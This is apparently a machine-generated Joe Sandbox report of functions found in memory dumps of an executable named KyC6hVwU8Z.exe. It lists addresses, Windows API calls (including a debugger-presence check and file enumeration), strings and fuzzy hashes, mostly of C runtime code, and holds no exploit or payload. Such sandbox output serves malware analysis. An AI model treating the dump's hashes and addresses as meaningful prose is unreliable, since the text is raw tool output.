Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: f0b229236b61ce8ae19f11e073e5dba485064a43ea7c32037eda5b699ece0d85
Instruction ID: 83075c85b41067b3e9aacc1bd67c6efb39de791135cd5fa92f09814ef37b434f
Opcode Fuzzy Hash: f0b229236b61ce8ae19f11e073e5dba485064a43ea7c32037eda5b699ece0d85
Instruction Fuzzy Hash: 67219871624706AFEB20AF6588C1E6BB7A9FF5036CF108529F91997193D770EC608B50

Function 0020187B Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00201883

Part of subcall function 0020177F: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00203EB8,?,00000000,-00000008), ref: 002017E0

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002018BB
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002018DB

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 6eb472d55a6a3d164163d109e807d4f12a2c8b08f5c873531baed474d02dc3b7
Instruction ID: 579ea8b8a7b5e5474660073eff993a6e46270986fd4cd1a964473d06cd6f0955
Opcode Fuzzy Hash: 6eb472d55a6a3d164163d109e807d4f12a2c8b08f5c873531baed474d02dc3b7
Instruction Fuzzy Hash: C211C4B652171EBEE7212BB15C8DCBF6AACDE553987100124F601D2152EF708E3245B1

Function 0020941B Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000), ref: 00209432
GetLastError.KERNEL32(?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000,?,?,?,00204147,?), ref: 0020943E

Part of subcall function 00209490: CloseHandle.KERNEL32(FFFFFFFE,0020944E,?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000,?,?), ref: 002094A0

___initconout.LIBCMT ref: 0020944E

Part of subcall function 00209470: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0020940C,0020837B,?,?,00204801,?,00000000,00000000,?), ref: 00209483

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0020838E,00000000,00000001,?,?,?,00204801,?,00000000,00000000,?), ref: 00209463

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 29c1ce1defe32ce83b69c737ea4f81ac15cdd1ca01563f4b8ef969d926deac47
Instruction ID: 5996d3e0adb3c8d94a004a71793b4c36a6dbe23cd04e64c8d65e44ec51da32f9
Opcode Fuzzy Hash: 29c1ce1defe32ce83b69c737ea4f81ac15cdd1ca01563f4b8ef969d926deac47
Instruction Fuzzy Hash: 24F0AC36510259BBCF225FA5EC0CAD93F67FF183A1B158110FA1995172CA328971DB91

Function 001FC14C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 001FC155

Strings

csm, xrefs: 001FC1E8
csm, xrefs: 001FC177

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 213d7425d84640b4298180d6770058ac37cf87002bf707635e688a450808493e
Instruction ID: 9f2d642420871e1a6dd93d231a555c783efac28036c81bd0bf779cbd4644c196
Opcode Fuzzy Hash: 213d7425d84640b4298180d6770058ac37cf87002bf707635e688a450808493e
Instruction Fuzzy Hash: 5631D17240021DDBCF268F94DE848BABB76FF09315B18855AFA5849122D332DCA1EBC1

Function 001F4DE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001F55D3
___raise_securityfailure.LIBCMT ref: 001F56BB

Strings

E!, xrefs: 001F56B6

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: E!
API String ID: 3761405300-107689196
Opcode ID: 908abb6f71459b64a90750780b2ab63d7c38c05408fb0b8e0d415393145eece0
Instruction ID: deacf76a3bd23547dc13c7796ed6b05f6a1823af45ab754a53bc19cdaa4943f3
Opcode Fuzzy Hash: 908abb6f71459b64a90750780b2ab63d7c38c05408fb0b8e0d415393145eece0
Instruction Fuzzy Hash: 9A21E4B4501344EBD710EF55F889A947BEABB7A719F50C12AEA0CCB3A0EBB055418F48

Analysis Process: KyC6hVwU8Z.exePID: 652, Parent PID: 6176COMMON

Non-executed Functions

Function 00206460 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3b0bfaf6c681b77f1afa7df557740fb38ccb51464f386d81a31fc5b04ad2319
Instruction ID: 3e69fae480c60aa2e7d70d807f09151554c6c735bd59f22a02390be55f2b9f2b
Opcode Fuzzy Hash: f3b0bfaf6c681b77f1afa7df557740fb38ccb51464f386d81a31fc5b04ad2319
Instruction Fuzzy Hash: 39024B71E1121A9FDF14CFA8C8846AEFBF5FF48314F248269D919A7381D731A925CB90

Function 00200D48 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00200E38

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: acd33c4ca5bc5244fbebe5c532047a9fe7696cbf3dd01d8fe843e123faa24f68
Instruction ID: 05451e26d474e5ab953a184d417ab11aae2ab2df8cc3301285755cee38d8efee
Opcode Fuzzy Hash: acd33c4ca5bc5244fbebe5c532047a9fe7696cbf3dd01d8fe843e123faa24f68
Instruction Fuzzy Hash: 2371D27191525AAFEF309F64CCCDBFAB7B8EB05300F1441D9E008A7292DA315E919F10

Function 001F60A4 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001F60B0
IsDebuggerPresent.KERNEL32 ref: 001F617C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 001F619C
UnhandledExceptionFilter.KERNEL32(?), ref: 001F61A6

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 61883a0190a7cd3a51e2ff948fd2f8d7022afc5d5ab142a59197b5a51afeec1c
Instruction ID: fbc2f81273c69fb6a3e25d6716a7a0e47aecfc4294888835dd163eeefcb0b247
Opcode Fuzzy Hash: 61883a0190a7cd3a51e2ff948fd2f8d7022afc5d5ab142a59197b5a51afeec1c
Instruction Fuzzy Hash: 60313875D0531CDBDB20DFA0D989BDDBBB8AF18300F1041EAE50CAB250EB715A858F44

Function 001F57E2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 001F57F6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 001F5804
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 001F5815
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 001F5826
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 001F5837
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 001F5848
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 001F5859
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 001F586A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 001F587B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 001F588C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 001F589D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 001F58AE
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 001F58BF
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 001F58D0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 001F58E1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 001F58F2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 001F5903
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 001F5914
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 001F5925
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 001F5936
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 001F5947
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 001F5958
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 001F5969
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 001F597A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 001F598B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 001F599C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 001F59AD
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 001F59BE
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 001F59CF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 001F59E0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 001F59F1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 001F5A02
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 001F5A13
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 001F5A24
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 001F5A35
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 001F5A46
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 001F5A57
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 001F5A68
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 001F5A79
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 001F5A8A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 001F5A9B

Strings

CreateThreadpoolWait, xrefs: 001F58D6
InitializeConditionVariable, xrefs: 001F59A2
WakeConditionVariable, xrefs: 001F59B3
GetCurrentProcessorNumber, xrefs: 001F592B
FlsSetValue, xrefs: 001F582C
CreateSymbolicLinkW, xrefs: 001F5941
ReleaseSRWLockExclusive, xrefs: 001F5A19
FlsAlloc, xrefs: 001F57FE
GetLocaleInfoEx, xrefs: 001F5A7F
WakeAllConditionVariable, xrefs: 001F59C4
CloseThreadpoolWork, xrefs: 001F5A5D
CloseThreadpoolWait, xrefs: 001F58F8
FlushProcessWriteBuffers, xrefs: 001F5909
GetSystemTimePreciseAsFileTime, xrefs: 001F5991
GetCurrentPackageId, xrefs: 001F594D
SleepConditionVariableCS, xrefs: 001F59D5
SetThreadpoolWait, xrefs: 001F58E7
WaitForThreadpoolTimerCallbacks, xrefs: 001F58B4
CreateSemaphoreExW, xrefs: 001F5881
SubmitThreadpoolWork, xrefs: 001F5A4C
kernel32.dll, xrefs: 001F57F1
InitializeCriticalSectionEx, xrefs: 001F583D
FreeLibraryWhenCallbackReturns, xrefs: 001F591A
CreateThreadpoolTimer, xrefs: 001F5892
LCMapStringEx, xrefs: 001F5A90
TryAcquireSRWLockExclusive, xrefs: 001F5A08
CreateThreadpoolWork, xrefs: 001F5A3B
CreateEventExW, xrefs: 001F585F
InitializeSRWLock, xrefs: 001F59E6
GetFileInformationByHandleEx, xrefs: 001F596F
FlsFree, xrefs: 001F580A
FlsGetValue, xrefs: 001F581B
InitOnceExecuteOnce, xrefs: 001F584E
CloseThreadpoolTimer, xrefs: 001F58C5
CompareStringEx, xrefs: 001F5A6E
CreateSemaphoreW, xrefs: 001F5870
GetTickCount64, xrefs: 001F595E
AcquireSRWLockExclusive, xrefs: 001F59F7
SetThreadpoolTimer, xrefs: 001F58A3
SleepConditionVariableSRW, xrefs: 001F5A2A
SetFileInformationByHandle, xrefs: 001F5980

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: c5e8f5931bd7d02683fe6b3fa747080c7a6bc5a90675df42fbea3c5a025f73ef
Instruction ID: f08b39d44b798feba2c81a9cd5a51bd6dae3adb92255ad0bb0b99dd40412bdc6
Opcode Fuzzy Hash: c5e8f5931bd7d02683fe6b3fa747080c7a6bc5a90675df42fbea3c5a025f73ef
Instruction Fuzzy Hash: 39616971DE2310AFCB50AFB4BD1D8DA3AA8BE2A741345852AB605D2DF5DFB84021CF54

Function 001FC4B3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 001FC5D2
___TypeMatch.LIBVCRUNTIME ref: 001FC6E0
CatchIt.LIBVCRUNTIME ref: 001FC731
_UnwindNestedFrames.LIBCMT ref: 001FC832
CallUnexpected.LIBVCRUNTIME ref: 001FC84D

Strings

csm, xrefs: 001FC4F0
csm, xrefs: 001FC609
csm, xrefs: 001FC55D

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 54683e2caaae89dd80156433bb8a9fcd3f23b083b4c7bdf20d9233f4771cdd69
Instruction ID: 25a0ef0b1cbac862983ce0e4f67564a3fd47f79d8f798d11232660d36054a530
Opcode Fuzzy Hash: 54683e2caaae89dd80156433bb8a9fcd3f23b083b4c7bdf20d9233f4771cdd69
Instruction Fuzzy Hash: 3AB1697190020DDFCF19EFA4CA818BEB7B5BF24310B15415AEA15AB212D731EA51EFD1

Function 002079A7 Relevance: 13.8, APIs: 9, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 00207DAC: CreateFileW.KERNEL32(00000000,00000000,?,00207A50,?,?,00000000,?,00207A50,00000000,0000000C), ref: 00207DC9

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00207ABB
__dosmaperr.LIBCMT ref: 00207AC2
GetFileType.KERNEL32(00000000), ref: 00207ACE
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00207AD8
__dosmaperr.LIBCMT ref: 00207AE1
CloseHandle.KERNEL32(00000000), ref: 00207B01
CloseHandle.KERNEL32(002025EE), ref: 00207C4E
GetLastError.KERNEL32 ref: 00207C80
__dosmaperr.LIBCMT ref: 00207C87

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 700253cd6516ee78958451a2b0f8de45071aefd31c12ddaa6187211ab08dfa80
Instruction ID: 93ee4bdbff8a37cd44219a0a3bc169a8b127319e27946e9d676d41fe54a8a835
Opcode Fuzzy Hash: 700253cd6516ee78958451a2b0f8de45071aefd31c12ddaa6187211ab08dfa80
Instruction Fuzzy Hash: D7A14A32E282199FCF199F68EC56BAD3BA1AB16310F14415DF805AF3D2DB349C22CB51

Function 001FF6EB Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001FF771

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 41285e77cb004f04a8fd11cd2fb887af5f9d7ae8ca7e119b6c9aa78753bf9a57
Instruction ID: db7af3ffaa2864fdacddf8817f7fa2821f46a182bbe8d5175e1a0e76647953f3
Opcode Fuzzy Hash: 41285e77cb004f04a8fd11cd2fb887af5f9d7ae8ca7e119b6c9aa78753bf9a57
Instruction Fuzzy Hash: FAB14972900359AFDB15CF68CC81BBEBBA5EF55354F154179EA04AB382D3F49902CBA0

Function 001F6D80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001F6DB7
___except_validate_context_record.LIBVCRUNTIME ref: 001F6DBF
_ValidateLocalCookies.LIBCMT ref: 001F6E48
__IsNonwritableInCurrentImage.LIBCMT ref: 001F6E73
_ValidateLocalCookies.LIBCMT ref: 001F6EC8

Strings

csm, xrefs: 001F6E5D

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: c62f9e9122b1c2ebcaac31c6505c49e41ca9c4fea53942c89b16c0c0c5b9e984
Instruction ID: 386b84db76b0e3060bf291177a7fb5e89a76fe3228eda055d84f1a85e8a8af5b
Opcode Fuzzy Hash: c62f9e9122b1c2ebcaac31c6505c49e41ca9c4fea53942c89b16c0c0c5b9e984
Instruction Fuzzy Hash: 0F41A239A0020CEBCF10DFA8C885AAEBBB5BF45314F148155EA199B393D731AE15CBD1

Function 001FD10A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,001FD219,?,9C2BD565,00000000,9C2BD565,?,?,001FCFCB,00000022,FlsSetValue,0020BED0,0020BED8,9C2BD565), ref: 001FD1CB

Strings

ext-ms-, xrefs: 001FD175
api-ms-, xrefs: 001FD161

Memory Dump Source

Source File: 00000005.00000002.2787465077.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000005.00000002.2787447126.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787519908.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787546531.0000000000213000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787561928.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2787588109.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 7e7479f29bae8e14a6c7101f7043941f39fdf68363cd6439045a0f5eb1d7ea46
Instruction ID: 7488d96b280fea4a723fe95e9268b088bee20c3dcd11bc95020d54c705dd312c
